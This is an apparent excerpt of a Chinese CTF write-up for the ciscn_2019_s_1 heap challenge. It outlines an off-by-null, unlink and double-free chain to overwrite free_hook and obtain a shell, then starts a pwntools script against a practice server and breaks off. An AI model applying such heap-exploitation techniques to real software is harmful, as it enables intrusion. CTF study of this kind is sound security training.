ciscn_2019_s_1

思路 經過off by null寫key值而後unlink寫bss段再次double free寫free_hook便可拿到shell exp:node from pwn import * #p=process('./ciscn_s_1') p=remote('node3.buuoj.cn',26429) elf=ELF('./ciscn_s_1') libc=elf.libc def add(

>>阅读原文<<